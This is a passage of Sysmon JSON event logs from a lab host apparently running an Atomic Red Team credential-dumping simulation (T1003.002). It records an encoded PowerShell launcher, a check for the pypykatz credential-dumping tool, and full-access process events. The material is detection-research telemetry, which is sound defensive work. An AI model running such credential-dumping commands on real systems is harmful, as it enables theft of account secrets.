C:\\Users\\Administrator\\AppData\\Local\\Temp\\__PSScriptPolicyTest_m5usud2z.bab.ps1\r\nCreationUtcTime: 2020-08-07 11:56:20.868","Category":"File created (rule: FileCreate)","Opcode":"Info","UtcTime":"2020-08-07 11:56:20.868","ProcessGuid":"{90617006-4164-5F2D-0000-00103AB80700}","Image":"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","TargetFilename":"C:\\Users\\Administrator\\AppData\\Local\\Temp\\__PSScriptPolicyTest_m5usud2z.bab.ps1","CreationUtcTime":"2020-08-07 11:56:20.868","EventReceivedTime":"2020-08-07 11:56:21","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:24","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":1,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":5,"Task":1,"OpcodeValue":0,"RecordNumber":5034,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process Create:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:24.580\r\nProcessGuid: {90617006-4168-5F2D-0000-0010F3CE0700}\r\nProcessId: 1168\r\nImage: C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\r\nFileVersion: 10.0.14393.206 (rs1_release.160915-0644)\r\nDescription: Windows PowerShell\r\nProduct: Microsoft® Windows® Operating System\r\nCompany: Microsoft Corporation\r\nOriginalFileName: PowerShell.EXE\r\nCommandLine: \"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\" & {if (cmd /c pypykatz -h) {exit 0} else {exit 1}} \r\nCurrentDirectory: C:\\Users\\ADMINI~1\\AppData\\Local\\Temp\\\r\nUser: ATTACKRANGE\\Administrator\r\nLogonGuid: {90617006-415E-5F2D-0000-002024580700}\r\nLogonId: 0x75824\r\nTerminalSessionId: 0\r\nIntegrityLevel: High\r\nHashes: MD5=097CE5761C89434367598B34FE32893B,SHA256=BA4038FD20E474C047BE8AAD5BFACDB1BFC1DDBE12F803F473B7918D8D819436,IMPHASH=CAEE994F79D85E47C06E5FA9CDEAE453\r\nParentProcessGuid: {90617006-415F-5F2D-0000-001026810700}\r\nParentProcessId: 5076\r\nParentImage: C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\r\nParentCommandLine: \"powershell.exe\" -noninteractive -encodedcommand WwBDAG8AbgBzAG8AbABlAF0AOgA6AEkAbgBwAHUAdABFAG4AYwBvAGQAaQBuAGcAIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAFQAZQB4AHQALgBVAFQARgA4AEUAbgBjAG8AZABpAG4AZwAgACQAZgBhAGwAcwBlADsAIABJAG0AcABvAHIAdAAtAE0AbwBkAHUAbABlACAAIgBDADoAXABBAHQAbwBtAGkAYwBSAGUAZABUAGUAYQBtAFwAaQBuAHYAbwBrAGUALQBhAHQAbwBtAGkAYwByAGUAZAB0AGUAYQBtAFwASQBuAHYAbwBrAGUALQBBAHQAbwBtAGkAYwBSAGUAZABUAGUAYQBtAC4AcABzAGQAMQAiACAALQBGAG8AcgBjAGUACgBJAG4AdgBvAGsAZQAtAEEAdABvAG0AaQBjAFQAZQBzAHQAIAAiAFQAMQAwADAAMwAuADAAMAAyACIAIAAtAEcAZQB0AFAAcgBlAHIAZQBxAHMA","Category":"Process Create (rule: ProcessCreate)","Opcode":"Info","UtcTime":"2020-08-07 11:56:24.580","ProcessGuid":"{90617006-4168-5F2D-0000-0010F3CE0700}","Image":"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","FileVersion":"10.0.14393.206 (rs1_release.160915-0644)","Description":"Windows PowerShell","Product":"Microsoft® Windows® Operating System","Company":"Microsoft Corporation","OriginalFileName":"PowerShell.EXE","CommandLine":"\"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\" & {if (cmd /c pypykatz -h) {exit 0} else {exit 1}} ","CurrentDirectory":"C:\\Users\\ADMINI~1\\AppData\\Local\\Temp\\","User":"ATTACKRANGE\\Administrator","LogonGuid":"{90617006-415E-5F2D-0000-002024580700}","LogonId":"0x75824","TerminalSessionId":"0","IntegrityLevel":"High","Hashes":"MD5=097CE5761C89434367598B34FE32893B,SHA256=BA4038FD20E474C047BE8AAD5BFACDB1BFC1DDBE12F803F473B7918D8D819436,IMPHASH=CAEE994F79D85E47C06E5FA9CDEAE453","ParentProcessGuid":"{90617006-415F-5F2D-0000-001026810700}","ParentProcessId":"5076","ParentImage":"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","ParentCommandLine":"\"powershell.exe\" -noninteractive -encodedcommand WwBDAG8AbgBzAG8AbABlAF0AOgA6AEkAbgBwAHUAdABFAG4AYwBvAGQAaQBuAGcAIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAFQAZQB4AHQALgBVAFQARgA4AEUAbgBjAG8AZABpAG4AZwAgACQAZgBhAGwAcwBlADsAIABJAG0AcABvAHIAdAAtAE0AbwBkAHUAbABlACAAIgBDADoAXABBAHQAbwBtAGkAYwBSAGUAZABUAGUAYQBtAFwAaQBuAHYAbwBrAGUALQBhAHQAbwBtAGkAYwByAGUAZAB0AGUAYQBtAFwASQBuAHYAbwBrAGUALQBBAHQAbwBtAGkAYwBSAGUAZABUAGUAYQBtAC4AcABzAGQAMQAiACAALQBGAG8AcgBjAGUACgBJAG4AdgBvAGsAZQAtAEEAdABvAG0AaQBjAFQAZQBzAHQAIAAiAFQAMQAwADAAMwAuADAAMAAyACIAIAAtAEcAZQB0AFAAcgBlAHIAZQBxAHMA","EventReceivedTime":"2020-08-07 11:56:25","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:24","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5035,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:24.571\r\nSourceProcessGUID: {90617006-415F-5F2D-0000-001026810700}\r\nSourceProcessId: 5076\r\nSourceThreadId: 4964\r\nSourceImage: C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\r\nTargetProcessGUID: {90617006-4168-5F2D-0000-0010F3CE0700}\r\nTargetProcessId: 1168\r\nTargetImage: C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Microsoft.Pae3498d9#\\68110cd890af5c762b58746b873e8fbb\\Microsoft.PowerShell.Commands.Management.ni.dll+8(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Microsoft.Pae3498d9#\\68110cd890af5c762b58746b873e8fbb\\Microsoft.PowerShell.Commands.Management.ni.dll+8(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Microsoft.Pae3498d9#\\68110cd890af5c762b58746b873e8fbb\\Microsoft.PowerShell.Commands.Management.ni.dll+8(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Microsoft.Pae3498d9#\\68110cd890af5c762b58746b873e8fbb\\Microsoft.PowerShell.Commands.Management.ni.dll+8(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+6b5889d8|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+6b58884c|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+6b60b078|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+6b581434|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+6c03a3d7|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+6b549c2c|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+6b5a80fb|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+6b58b760|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+6b58b760|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+6b58b760|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+6b58b760|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+6b58b760|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+6b58b760|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+6b58b5f1|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+6b57d576|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+6b5b6706","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:24.571","SourceProcessGUID":"{90617006-415F-5F2D-0000-001026810700}","SourceProcessId":"5076","SourceThreadId":"4964","SourceImage":"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","TargetProcessGUID":"{90617006-4168-5F2D-0000-0010F3CE0700}","TargetProcessId":"1168","TargetImage":"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Microsoft.Pae3498d9#\\68110cd890af5c762b58746b873e8fbb\\Microsoft.PowerShell.Commands.Management.ni.dll+8(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Microsoft.Pae3498d9#\\68110cd890af5c762b58746b873e8fbb\\Microsoft.PowerShell.Commands.Management.ni.dll+8(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Microsoft.Pae3498d9#\\68110cd890af5c762b58746b873e8fbb\\Microsoft.PowerShell.Commands.Management.ni.dll+8(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Microsoft.Pae3498d9#\\68110cd890af5c762b58746b873e8fbb\\Microsoft.PowerShell.Commands.Management.ni.dll+8(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+6b5889d8|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+6b58884c|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+6b60b078|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+6b581434|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+6c03a3d7|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+6b549c2c|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+6b5a80fb|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+6b58b760|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+6b58b760|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+6b58b760|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+6b58b760|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+6b58b760|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+6b58b760|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+6b58b5f1|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+6b57d576|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+6b5b6706","EventReceivedTime":"2020-08-07 11:56:25","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:24","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5036,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:24.571\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 760\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-4168-5F2D-0000-0010F3CE0700}\r\nTargetProcessId: 1168\r\nTargetImage: C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:24.571","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"760","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-4168-5F2D-0000-0010F3CE0700}","TargetProcessId":"1168","TargetImage":"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 11:56:25","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:24","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5037,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:24.571\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 600\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:24.571","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"600","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:25","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:24","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5038,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:24.571\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 600\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:24.571","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"600","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:25","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:24","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5039,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:24.571\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 600\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:24.571","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"600","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:25","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:24","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5040,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:24.571\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 600\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: 